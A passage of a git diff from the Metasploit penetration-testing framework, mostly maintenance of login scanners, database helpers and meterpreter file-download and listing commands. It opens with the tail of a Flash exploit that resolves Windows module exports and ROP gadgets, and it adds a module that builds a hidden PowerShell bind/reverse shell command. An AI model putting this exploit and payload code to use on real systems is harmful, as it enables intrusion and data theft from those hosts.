ba.readUnsignedByte() + } + return 0 + } + + private function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (byte_read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + private function module(name:String, addr:uint):uint + { + var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1 + while (true) { + var entry:uint = byte_read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + ba.position = addr + entry + if (ba.readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break + } + return base(byte_read(addr + byte_read(iat + i * 0x14 + 16))) + } + + private function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78) + var numberOfNames:uint = byte_read(eat + 0x18) + var addressOfFunctions:uint = addr + byte_read(eat + 0x1c) + var addressOfNames:uint = addr + byte_read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24) + for (var i:uint = 0; ; i++) { + var entry:uint = byte_read(addressOfNames + i * 4) + ba.position = addr + entry + if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break + } + return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + private function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break + return addr + i + } + } +} diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb index c616506352..383caf52ca 100644 --- a/lib/metasploit/framework/login_scanner/snmp.rb +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -11,7 +11,10 @@ module Metasploit class SNMP include Metasploit::Framework::LoginScanner::Base + DEFAULT_TIMEOUT = 2 DEFAULT_PORT = 161 + DEFAULT_RETRIES = 0 + DEFAULT_VERSION = 'all' LIKELY_PORTS = [ 161, 162 ] LIKELY_SERVICE_NAMES = [ 'snmp' ] PRIVATE_TYPES = [ :password ] @@ -112,11 +115,13 @@ module Metasploit end - # Sets the connection timeout approrpiately for SNMP + # Sets the connection timeout appropriately for SNMP # if the user did not set it. def set_sane_defaults - self.connection_timeout = 2 if self.connection_timeout.nil? + self.connection_timeout = DEFAULT_TIMEOUT if self.connection_timeout.nil? self.port = DEFAULT_PORT if self.port.nil? + self.retries = DEFAULT_RETRIES if self.retries.nil? + self.version = DEFAULT_VERSION if self.version.nil? end # This method takes an snmp client and tests whether diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb index f104cdf708..29ed0f4b97 100644 --- a/lib/metasploit/framework/login_scanner/telnet.rb +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -1,14 +1,15 @@ require 'metasploit/framework/telnet/client' require 'metasploit/framework/login_scanner/base' require 'metasploit/framework/login_scanner/rex_socket' + module Metasploit module Framework module LoginScanner - # This is the LoginScanner class for dealing with Telnet remote terminals. # It is responsible for taking a single target, and a list of credentials # and attempting them. It then saves the results. class Telnet + include Metasploit::Framework::LoginScanner::Base include Metasploit::Framework::LoginScanner::RexSocket include Metasploit::Framework::Telnet::Client @@ -25,12 +26,19 @@ module Metasploit # # @return [Fixnum] attr_accessor :banner_timeout + # @!attribute verbosity # The timeout to wait for the response from a telnet command. # # @return [Fixnum] attr_accessor :telnet_timeout + # @!attribute verbosity + # Prepend code to call before checking for a user login + # + # @return [Proc] + attr_accessor :pre_login + validates :banner_timeout, presence: true, numericality: { @@ -66,6 +74,10 @@ module Metasploit end unless result_options[:status] + if pre_login + pre_login.call(self) + end + unless password_prompt? send_user(credential.public) end @@ -108,6 +120,7 @@ module Metasploit self.port ||= DEFAULT_PORT self.banner_timeout ||= 25 self.telnet_timeout ||= 10 + self.pre_login ||= nil self.connection_timeout ||= 30 self.max_send_size ||= 0 self.send_delay ||= 0 @@ -115,6 +128,11 @@ module Metasploit create_login_ivars end + def print_error(message) + return unless @parent + @parent.print_error(message) + end + end end end diff --git a/lib/metasploit/framework/rails_version_constraint.rb b/lib/metasploit/framework/rails_version_constraint.rb index 9f436dbb20..aa75929e45 100644 --- a/lib/metasploit/framework/rails_version_constraint.rb +++ b/lib/metasploit/framework/rails_version_constraint.rb @@ -6,7 +6,7 @@ module Metasploit # The Metasploit ecosystem is not ready for Rails 4 as it uses features of # Rails 3.X that are removed in Rails 4. - RAILS_VERSION = [ '>= 3.2.21', '< 4.0.0' ] + RAILS_VERSION = [ '>= 4.0.9', '< 4.1.0' ] end end end \ No newline at end of file diff --git a/lib/msf/base/sessions/powershell.rb b/lib/msf/base/sessions/powershell.rb index b718e940c6..f2d129f5cc 100644 --- a/lib/msf/base/sessions/powershell.rb +++ b/lib/msf/base/sessions/powershell.rb @@ -33,4 +33,37 @@ class Msf::Sessions::PowerShell < Msf::Sessions::CommandShell def desc "Powershell session" end + + # + # Takes over the shell_command of the parent + # + def shell_command(cmd) + # insert random marker + strm = Rex::Text.rand_text_alpha(15) + endm = Rex::Text.rand_text_alpha(15) + + # Send the shell channel's stdin. + shell_write(";'#{strm}'\n" + cmd + "\n'#{endm}';\n") + + timeout = 1800 # 30 minute timeout + etime = ::Time.now.to_f + timeout + + buff = "" + # Keep reading data until the marker has been received or the 30 minture timeout has occured + while (::Time.now.to_f < etime) + res = shell_read(-1, timeout) + break unless res + timeout = etime - ::Time.now.to_f + + buff << res + if buff.match(/#{endm}/) + # if you see the end marker, read the buffer from the start marker to the end and then display back to screen + buff = buff.split(/#{strm}/)[-1] + buff.gsub!(/PS .*>/, '') + buff.gsub!(/#{endm}/, '') + return buff + end + end + buff + end end diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index a8829d5f5c..5c8efdade8 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -35,7 +35,7 @@ module Auxiliary::Login # # Some of these regexes borrowed from NeXpose, others added from datasets # - @login_regex = /(?:log[io]n( name|)|user(name|id|))\s*\:/i + @login_regex = /(?:log[io]n( name|)|user( ?name|id|))\s*\:/i @password_regex = /(?:password|passwd)\s*\:/i @false_failure_regex = /(?:(^\s*last)\ login *\:|allows only\ .*\ Telnet\ Client\ License)/i @failure_regex = /(?: diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb index ad9af6b3ab..9c0a042bd6 100644 --- a/lib/msf/core/db_manager/host.rb +++ b/lib/msf/core/db_manager/host.rb @@ -157,8 +157,6 @@ module Msf::DBManager::Host if not addr.kind_of? ::Mdm::Host addr = normalize_host(addr) - addr, scope = addr.split('%', 2) - opts[:scope] = scope if scope unless ipv46_validator(addr) raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}" diff --git a/lib/msf/core/db_manager/ip_address.rb b/lib/msf/core/db_manager/ip_address.rb index dcff05b2e2..da215ecfa6 100644 --- a/lib/msf/core/db_manager/ip_address.rb +++ b/lib/msf/core/db_manager/ip_address.rb @@ -4,12 +4,23 @@ module Msf::DBManager::IPAddress end def ipv4_validator(addr) - return false unless addr.kind_of? String - Rex::Socket.is_ipv4?(addr) + if addr.try(:ipv4?) + true + elsif addr.kind_of? String + Rex::Socket.is_ipv4?(addr) + else + false + end end def ipv6_validator(addr) - Rex::Socket.is_ipv6?(addr) + if addr.try(:ipv6?) + true + elsif addr.kind_of? String + Rex::Socket.is_ipv6?(addr) + else + false + end end def rfc3330_reserved(ip) diff --git a/lib/msf/core/db_manager/session.rb b/lib/msf/core/db_manager/session.rb index 408454ab1d..dd42462dfe 100644 --- a/lib/msf/core/db_manager/session.rb +++ b/lib/msf/core/db_manager/session.rb @@ -95,7 +95,6 @@ module Msf::DBManager::Session if session.exploit.user_data_is_match? MetasploitDataModels::AutomaticExploitation::MatchResult.create!( match: session.exploit.user_data[:match], - match_set: session.exploit.user_data[:match_set], run: session.exploit.user_data[:run], state: 'succeeded', ) diff --git a/lib/msf/core/module_set.rb b/lib/msf/core/module_set.rb index c9a40b9788..6cb34d9baa 100644 --- a/lib/msf/core/module_set.rb +++ b/lib/msf/core/module_set.rb @@ -57,6 +57,8 @@ class Msf::ModuleSet < Hash # Notify any general subscribers of the creation event if instance self.framework.events.on_module_created(instance) + else + self.delete(reference_name) end return instance @@ -112,9 +114,7 @@ class Msf::ModuleSet < Hash def each_module_ranked(opts = {}, &block) demand_load_modules - self.mod_ranked = rank_modules - - each_module_list(mod_ranked, opts, &block) + each_module_list(rank_modules, opts, &block) end # Forces all modules in this set to be loaded. @@ -138,7 +138,6 @@ class Msf::ModuleSet < Hash self.architectures_by_module = {} self.platforms_by_module = {} self.mod_sorted = nil - self.mod_ranked = nil self.mod_extensions = [] # @@ -292,11 +291,6 @@ class Msf::ModuleSet < Hash # # @return [Hash{Class => Array}] Maps module class to Array of platform Strings. attr_accessor :platforms_by_module - # @!attribute [rw] mod_ranked - # Array of module names and module classes ordered by their Rank with the higher Ranks first. - # - # @return (see #rank_modules) - attr_accessor :mod_ranked # @!attribute [rw] mod_sorted # Array of module names and module classes ordered by their names. # @@ -315,14 +309,7 @@ class Msf::ModuleSet < Hash # @return [Array>] Array of arrays where the inner array is a pair of the module reference name # and the module class. def rank_modules - self.mod_ranked = self.sort { |a_pair, b_pair| - a_rank = module_rank(*a_pair) - b_rank = module_rank(*b_pair) - - # Compare their relevant rankings. Since we want highest to lowest, - # we compare b_rank to a_rank in terms of higher/lower precedence - b_rank <=> a_rank - } + self.sort_by { |pair| module_rank(*pair) }.reverse! end # Retrieves the rank from a loaded, not-yet-loaded, or unloadable Metasploit Module. diff --git a/lib/msf/core/payload/java.rb b/lib/msf/core/payload/java.rb index bf8522f100..d8ecdf500a 100644 --- a/lib/msf/core/payload/java.rb +++ b/lib/msf/core/payload/java.rb @@ -17,9 +17,7 @@ module Msf::Payload::Java def generate_stage stage = '' @stage_class_files.each do |path| - fd = File.open(File.join( Msf::Config.data_directory, "java", path ), "rb") - data = fd.read(fd.stat.size) - fd.close + data = MetasploitPayloads.read('java', path) stage << ([data.length].pack("N") + data) end stage << [0].pack("N") @@ -36,8 +34,8 @@ module Msf::Payload::Java # # Used by stagers to create a jar file as a {Rex::Zip::Jar}. Stagers - # define a list of class files in @class_files which are pulled from - # {Msf::Config.data_directory}. The configuration file is created by + # define a list of class files in @class_files which are pulled from the + # MetasploitPayloads gem. The configuration file is created by # the payload's #config method. # # @option opts :main_class [String] the name of the Main-Class @@ -58,7 +56,7 @@ module Msf::Payload::Java jar = Rex::Zip::Jar.new jar.add_sub("metasploit") if opts[:random] jar.add_file("metasploit.dat", config) - jar.add_files(paths, File.join(Msf::Config.data_directory, "java")) + jar.add_files(paths, MetasploitPayloads.path('java')) jar.build_manifest(:main_class => main_class) jar @@ -103,7 +101,7 @@ module Msf::Payload::Java zip.add_file('WEB-INF/', '') zip.add_file('WEB-INF/web.xml', web_xml) zip.add_file("WEB-INF/classes/", "") - zip.add_files(paths, File.join(Msf::Config.data_directory, "java"), "WEB-INF/classes/") + zip.add_files(paths, MetasploitPayloads.path('java'), 'WEB-INF/classes/') zip.add_file("WEB-INF/classes/metasploit.dat", config) zip diff --git a/lib/msf/core/payload/windows/powershell.rb b/lib/msf/core/payload/windows/powershell.rb new file mode 100644 index 0000000000..534859487e --- /dev/null +++ b/lib/msf/core/payload/windows/powershell.rb @@ -0,0 +1,51 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'msf/core/payload/windows' + +module Msf + +### +# +# Implements an overarching powershell payload generation module +# +### + +module Payload::Windows::Powershell + + def generate_powershell_code(conntype) + lport = datastore['LPORT'] + lhost = datastore['LHOST'] + + template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1') + script_in = "" + ::File.open(template_path, "rb") do |fd| + script_in << fd.read(fd.stat.size) + end + mods = '' + + if conntype == "Bind" + script_in << "\npowerfun -Command bind" + elsif conntype == "Reverse" + script_in << "\npowerfun -Command reverse -Sslcon true" + end + + if datastore['LOAD_MODULES'] + mods_array = datastore['LOAD_MODULES'].to_s.split(',') + mods_array.collect(&:strip) + print_status("Loading #{mods_array.count} modules into the interactive PowerShell session") + mods_array.each {|m| vprint_good " #{m}"} + mods = "\"#{mods_array.join("\",\n\"")}\"" + script_in << " -Download true\n" + end + + script_in.gsub!('MODULES_REPLACE', mods) + script_in.gsub!('LPORT_REPLACE', lport.to_s) + script_in.gsub!('LHOST_REPLACE', lhost.to_s) + + script = Rex::Powershell::Command.compress_script(script_in) + "powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})" + end +end +end + diff --git a/lib/msf/core/payload/windows/x64/exitfunk.rb b/lib/msf/core/payload/windows/x64/exitfunk.rb index e946aeb60c..a37b9c3eb1 100644 --- a/lib/msf/core/payload/windows/x64/exitfunk.rb +++ b/lib/msf/core/payload/windows/x64/exitfunk.rb @@ -40,14 +40,14 @@ module Payload::Windows::Exitfunk_x64 mov r10d, 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) call rbp ; GetVersion(); (AL will = major version and AH will = minor version) add rsp, 40 ; cleanup the default param space on stack - cmp al, byte 6 ; If we are not running on Windows Vista, 2008 or 7 - jl short goodbye ; Then just call the exit function... + cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 + jl exitfunk_goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on ; Windows Vista, 2008 or 7... - jne short goodbye ; + jne exitfunk_goodbye ; mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread - goodbye: ; We now perform the actual call to the exit function - push byte 0 ; + exitfunk_goodbye: ; We now perform the actual call to the exit function + push 0 ; pop rcx ; set the exit function parameter mov r10d, ebx ; place the correct EXITFUNK into r10d call rbp ; call EXITFUNK( 0 ); diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 641b77ceae..e07d71fa49 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -1772,13 +1772,15 @@ class Core rescue Rex::TimeoutError print_error("Operation timed out") end - elsif session.type == 'shell' + elsif session.type == 'shell' || session.type == 'powershell' output = session.shell_command(cmd) print_line(output) if output end ensure # Restore timeout for each session - session.response_timeout = last_known_timeout if last_known_timeout + if session.respond_to?(:response_timeout) + session.response_timeout = last_known_timeout if last_known_timeout + end end # If the session isn't a meterpreter or shell type, it # could be a VNC session (which can't run commands) or diff --git a/lib/msf/ui/console/command_dispatcher/db.rb b/lib/msf/ui/console/command_dispatcher/db.rb index 4a5e791a4e..63cccccf70 100644 --- a/lib/msf/ui/console/command_dispatcher/db.rb +++ b/lib/msf/ui/console/command_dispatcher/db.rb @@ -668,7 +668,7 @@ class Db columns = [host.address] + col_names.map { |n| service[n].to_s || "" } tbl << columns if set_rhosts - addr = (host.scope ? host.address + '%' + host.scope : host.address) + addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end @@ -790,6 +790,7 @@ class Db # Same for service names next unless svcs.empty? or svcs.include?(vuln.service.name) print_status("Time: #{vuln.created_at} Vuln: host=#{host.address} name=#{vuln.name} refs=#{reflist.join(',')} #{(show_info && vuln.info) ? "info=#{vuln.info}" : ""}") + else # This vuln has no service, so it can't match next unless ports.empty? and svcs.empty? @@ -1318,7 +1319,7 @@ class Db host = note.host msg << " host=#{note.host.address}" if set_rhosts - addr = (host.scope ? host.address + '%' + host.scope : host.address) + addr = (host.scope ? host.address + '%' + host.scope : host.address ) rhosts << addr end end diff --git a/lib/msf/util/exe.rb b/lib/msf/util/exe.rb index b7ecaaeafe..6b068528a2 100644 --- a/lib/msf/util/exe.rb +++ b/lib/msf/util/exe.rb @@ -1139,7 +1139,7 @@ require 'msf/core/exe/segment_appender' paths = [ [ "metasploit", "Payload.class" ], ] - zip.add_files(paths, File.join(Msf::Config.data_directory, "java")) + zip.add_files(paths, MetasploitPayloads.path('java')) zip.build_manifest :main_class => "metasploit.Payload" config = "Spawn=#{spawn}\r\nExecutable=#{exe_name}\r\n" zip.add_file("metasploit.dat", config) diff --git a/lib/nessus/nessus-xmlrpc.rb b/lib/nessus/nessus-xmlrpc.rb index 075e951b00..58e48e15c0 100644 --- a/lib/nessus/nessus-xmlrpc.rb +++ b/lib/nessus/nessus-xmlrpc.rb @@ -181,7 +181,12 @@ module Nessus request = Net::HTTP::Get.new("/scans/#{scan_id}/export/#{file_id}/status") request.add_field("X-Cookie", @token) res = @connection.request(request) - return res.code, JSON.parse(res.body) + if res.code == "200" + return "ready" + else + res = JSON.parse(res.body) + return res + end end def policy_delete(policy_id) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb index e331058e0f..8ef895bfb0 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb @@ -52,9 +52,10 @@ class Dir < Rex::Post::Dir # # Enumerates all of the files/folders in a given directory. # - def Dir.entries(name = getwd) + def Dir.entries(name = getwd, glob = nil) request = Packet.create_request('stdapi_fs_ls') files = [] + name = name + ::File::SEPARATOR + glob if glob request.add_tlv(TLV_TYPE_DIRECTORY_PATH, client.unicode_filter_decode(name)) @@ -194,9 +195,9 @@ class Dir < Rex::Post::Dir # Downloads the contents of a remote directory a # local directory, optionally in a recursive fashion. # - def Dir.download(dst, src, recursive = false, force = true, &stat) + def Dir.download(dst, src, recursive = false, force = true, glob = nil, &stat) - self.entries(src).each { |src_sub| + self.entries(src, glob).each { |src_sub| dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub) src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub) @@ -209,8 +210,8 @@ class Dir < Rex::Post::Dir if (src_stat.file?) stat.call('downloading', src_item, dst_item) if (stat) begin - client.fs.file.download(dst_item, src_item) - stat.call('downloaded', src_item, dst_item) if (stat) + result = client.fs.file.download_file(dst_item, src_item) + stat.call(result, src_item, dst_item) if (stat) rescue ::Rex::Post::Meterpreter::RequestError => e if force stat.call('failed', src_item, dst_item) if (stat) @@ -230,7 +231,7 @@ class Dir < Rex::Post::Dir end stat.call('mirroring', src_item, dst_item) if (stat) - download(dst_item, src_item, recursive, force, &stat) + download(dst_item, src_item, recursive, force, glob, &stat) stat.call('mirrored', src_item, dst_item) if (stat) end } diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb index 41606a2b7b..47a45296a6 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb @@ -265,6 +265,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO stat.call('uploaded', src_file, dest_file) if (stat) end + def File.is_glob?(name) + /\*|\[|\?/ === name + end + # # Download one or more files from the remote computer to the local # directory supplied in destination. @@ -281,10 +285,8 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO end stat.call('downloading', src, dest) if (stat) - - download_file(dest, src) - - stat.call('downloaded', src, dest) if (stat) + result = download_file(dest, src) + stat.call(result, src, dest) if (stat) } end @@ -293,6 +295,17 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO # def File.download_file(dest_file, src_file) src_fd = client.fs.file.new(src_file, "rb") + + # Check for changes + src_stat = client.fs.filestat.new(src_file) + if ::File.exists?(dest_file) + dst_stat = ::File.stat(dest_file) + if src_stat.size == dst_stat.size && src_stat.mtime == dst_stat.mtime + return 'skipped' + end + end + + # Make the destination path if necessary dir = ::File.dirname(dest_file) ::FileUtils.mkdir_p(dir) if dir and not ::File.directory?(dir) @@ -308,6 +321,10 @@ class File < Rex::Post::Meterpreter::Extensions::Stdapi::Fs::IO src_fd.close dst_fd.close end + + # Clone the times from the remote file + ::File.utime(src_stat.atime, src_stat.mtime, dest_file) + return 'download' end # diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb index 2e7679508f..2621a66970 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb @@ -99,7 +99,7 @@ class Console::CommandDispatcher::Stdapi::Fs # # Search for files. # - def cmd_search( *args ) + def cmd_search(*args) root = nil glob = nil @@ -115,37 +115,37 @@ class Console::CommandDispatcher::Stdapi::Fs opts.parse(args) { | opt, idx, val | case opt when "-h" - print_line( "Usage: search [-d dir] [-r recurse] -f pattern" ) - print_line( "Search for files." ) - print_line( opts.usage ) + print_line("Usage: search [-d dir] [-r recurse] -f pattern") + print_line("Search for files.") + print_line(opts.usage) return when "-d" root = val when "-f" glob = val when "-r" - recurse = false if( val =~ /^(f|n|0)/i ) + recurse = false if val =~ /^(f|n|0)/i end } - if( not glob ) - print_error( "You must specify a valid file glob to search for, e.g. >search -f *.doc" ) + if not glob + print_error("You must specify a valid file glob to search for, e.g. >search -f *.doc") return end - files = client.fs.file.search( root, glob, recurse ) + files = client.fs.file.search(root, glob, recurse) - if( not files.empty? ) - print_line( "Found #{files.length} result#{ files.length > 1 ? 's' : '' }..." ) + if not files.empty? + print_line("Found #{files.length} result#{ files.length > 1 ? 's' : '' }...") files.each do | file | - if( file['size'] > 0 ) - print( " #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n" ) + if file['size'] > 0 + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']} (#{file['size']} bytes)\n") else - print( " #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n" ) + print(" #{file['path']}#{ file['path'].empty? ? '' : '\\' }#{file['name']}\n") end end else - print_line( "No files matching your search were found." ) + print_line("No files matching your search were found.") end end @@ -223,29 +223,29 @@ class Console::CommandDispatcher::Stdapi::Fs alias :cmd_del :cmd_rm - # + # # Move source to destination - # + # def cmd_mv(*args) if (args.length < 2) print_line("Usage: mv oldfile newfile") return true - end + end client.fs.file.mv(args[0],args[1]) return true - end + end alias :cmd_move :cmd_mv alias :cmd_rename :cmd_mv def cmd_download_help - print_line "Usage: download [options] src1 src2 src3 ... destination" + print_line("Usage: download [options] src1 src2 src3 ... destination") print_line - print_line "Downloads remote files and directories to the local machine." - print_line @@download_opts.usage + print_line("Downloads remote files and directories to the local machine.") + print_line(@@download_opts.usage) end # @@ -289,24 +289,62 @@ class Console::CommandDispatcher::Stdapi::Fs dest = last end + # Download to a directory, not a pattern + if client.fs.file.is_glob?(dest) + dest = ::File.dirname(dest) + end + # Go through each source item and download them src_items.each { |src| - stat = client.fs.file.stat(src) + glob = nil + if client.fs.file.is_glob?(src) + glob = ::File.basename(src) + src = ::File.dirname(src) + end - if (stat.directory?) - client.fs.dir.download(dest, src, recursive, true) { |step, src, dst| - print_status("#{step.ljust(11)}: #{src} -> #{dst}") - client.framework.events.on_session_download(client, src, dest) if msf_loaded? - } - elsif (stat.file?) - client.fs.file.download(dest, src) { |step, src, dst| - print_status("#{step.ljust(11)}: #{src} -> #{dst}") - client.framework.events.on_session_download(client, src, dest) if msf_loaded? - } + # Use search if possible for recursive pattern matching. It will work + # more intuitively since it will not try to match on intermediate + # directories, only file names. + if glob && recursive && client.commands.include?('stdapi_fs_search') + + files = client.fs.file.search(src, glob, recursive) + if !files.empty? + print_line("Downloading #{files.length} file#{files.length > 1 ? 's' : ''}...") + + files.each do |file| + src_separator = client.fs.file.separator + src_path = file['path'] + client.fs.file.separator + file['name'] + dest_path = src_path.tr(src_separator, ::File::SEPARATOR) + + client.fs.file.download(dest_path, src_path) do |step, src, dst| + puts step + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + client.framework.events.on_session_download(client, src, dest) if msf_loaded? + end + end + + else + print_status("No matching files found for download") + end + + else + # Perform direct matching + stat = client.fs.file.stat(src) + if (stat.directory?) + client.fs.dir.download(dest, src, recursive, true, glob) do |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + client.framework.events.on_session_download(client, src, dest) if msf_loaded? + end + elsif (stat.file?) + client.fs.file.download(dest, src) do |step, src, dst| + print_status("#{step.ljust(11)}: #{src} -> #{dst}") + client.framework.events.on_session_download(client, src, dest) if msf_loaded? + end + end end } - return true + true end # @@ -349,6 +387,63 @@ class Console::CommandDispatcher::Stdapi::Fs alias cmd_getlwd cmd_lpwd + def list_path(path, columns, sort, order, short, recursive = false, depth = 0) + + # avoid infinite recursion + if depth > 100 + return + end + + tbl = Rex::Ui::Text::Table.new( + 'Header' => "Listing: #{path}", + 'SortIndex' => columns.index(sort), + 'SortOrder' => order, + 'Columns' => columns) + + items = 0 + + # Enumerate each item... + # No need to sort as Table will do it for us + client.fs.dir.entries_with_info(path).each do |p| + + ffstat = p['StatBuf'] + fname = p['FileName'] || 'unknown' + + row = [ + ffstat ? ffstat.prettymode : '', + ffstat ? ffstat.size : '', + ffstat ? ffstat.ftype[0,3] : '', + ffstat ? ffstat.mtime : '', + fname + ] + row.insert(4, p['FileShortName'] || '') if short + + if fname != '.' && fname != '..' + tbl << row + items += 1 + + if recursive && ffstat && ffstat.directory? + if client.fs.file.is_glob?(path) + child_path = ::File.dirname(path) + ::File::SEPARATOR + fname + child_path += ::File::SEPARATOR + ::File.basename(path) + else + child_path = path + ::File::SEPARATOR + fname + end + begin + list_path(child_path, columns, sort, order, short, recursive, depth + 1) + rescue RequestError + end + end + end + end + + if items > 0 + print_line(tbl.to_s) + else + print_line("No entries exist in #{path}") + end + end + # # Lists files # @@ -368,6 +463,11 @@ class Console::CommandDispatcher::Stdapi::Fs order = args.include?('-r') ? :reverse : :forward args.delete('-r') + # Check for recursive mode + recursive = !args.delete('-R').nil? + + args.delete('-l') + # Check for cries of help if args.length > 1 || args.any? { |a| a[0] == '-' } print_line('Usage: ls [dir] [-x] [-S] [-t] [-r]') @@ -375,6 +475,8 @@ class Console::CommandDispatcher::Stdapi::Fs print_line(' -S Sort by size') print_line(' -t Sort by time modified') print_line(' -r Reverse sort order') + print_line(' -l List in long format (default)') + print_line(' -R Recursively list subdirectories encountered.') return true end @@ -383,38 +485,21 @@ class Console::CommandDispatcher::Stdapi::Fs columns = [ 'Mode', 'Size', 'Type', 'Last modified', 'Name' ] columns.insert(4, 'Short Name') if short - tbl = Rex::Ui::Text::Table.new( - 'Header' => "Listing: #{path}", - 'SortIndex' => columns.index(sort), - 'SortOrder' => order, - 'Columns' => columns) + stat_path = path - items = 0 - stat = client.fs.file.stat(path) - if stat.directory? - # Enumerate each item... - # No need to sort as Table will do it for us - client.fs.dir.entries_with_info(path).each { |p| - - row = [ - p['StatBuf'] ? p['StatBuf'].prettymode : '', - p['StatBuf'] ? p['StatBuf'].size : '', - p['StatBuf'] ? p['StatBuf'].ftype[0,3] : '', - p['StatBuf'] ? p['StatBuf'].mtime : '', - p['FileName'] || 'unknown' - ] - row.insert(4, p['FileShortName'] || '') if short - - tbl << row - - items += 1 - } - - if (items > 0) - print("\n" + tbl.to_s + "\n") - else - print_line("No entries exist in #{path}") + # Check session capabilities + is_glob = client.fs.file.is_glob?(path) + if is_glob + if !client.commands.include?('stdapi_fs_search') + print_line('File globbing not supported with this session') + return end + stat_path = ::File.dirname(path) + end + + stat = client.fs.file.stat(stat_path) + if stat.directory? + list_path(path, columns, sort, order, short, recursive) else print_line("#{stat.prettymode} #{stat.size} #{stat.ftype[0,3]} #{stat.mtime} #{path}") end @@ -467,10 +552,10 @@ class Console::CommandDispatcher::Stdapi::Fs end def cmd_upload_help - print_line "Usage: upload [options] src1 src2 src3 ... destination" + print_line("Usage: upload [options] src1 src2 src3 ... destination") print_line - print_line "Uploads local files and directories to the remote machine." - print_line @@upload_opts.usage + print_line("Uploads local files and directories to the remote machine.") + print_line(@@upload_opts.usage) end # diff --git a/lib/rex/sslscan/result.rb b/lib/rex/sslscan/result.rb index 01f6052c26..b905b89250 100644 --- a/lib/rex/sslscan/result.rb +++ b/lib/rex/sslscan/result.rb @@ -15,6 +15,24 @@ class Result @cert = nil @ciphers = Set.new @supported_versions = [:SSLv2, :SSLv3, :TLSv1] + @deprecated_weak_ciphers = [ + 'ECDHE-RSA-DES-CBC3-SHA', + 'ECDHE-ECDSA-DES-CBC3-SHA', + 'SRP-DSS-3DES-EDE-CBC-SHA', + 'SRP-RSA-3DES-EDE-CBC-SHA', + 'SRP-3DES-EDE-CBC-SHA', + 'EDH-RSA-DES-CBC3-SHA', + 'EDH-DSS-DES-CBC3-SHA', + 'ECDH-RSA-DES-CBC3-SHA', + 'ECDH-ECDSA-DES-CBC3-SHA', + 'DES-CBC3-SHA', + 'PSK-3DES-EDE-CBC-SHA', + 'EXP-EDH-RSA-DES-CBC-SHA', + 'EXP-EDH-DSS-DES-CBC-SHA', + 'EXP-DES-CBC-SHA', + 'EXP-RC2-CBC-MD5', + 'EXP-RC4-MD5' + ] end def cert @@ -113,7 +131,8 @@ class Result unless @supported_versions.include? version raise ArgumentError, "Must be a supported SSL Version" end - unless OpenSSL::SSL::SSLContext.new(version).ciphers.flatten.include? cipher + unless OpenSSL::SSL::SSLContext.new(version).ciphers.flatten.include?(cipher) \ + || @deprecated_weak_ciphers.include?(cipher) raise ArgumentError, "Must be a valid SSL Cipher for #{version}!" end unless key_length.kind_of? Fixnum diff --git a/lib/sqlmap/sqlmap_manager.rb 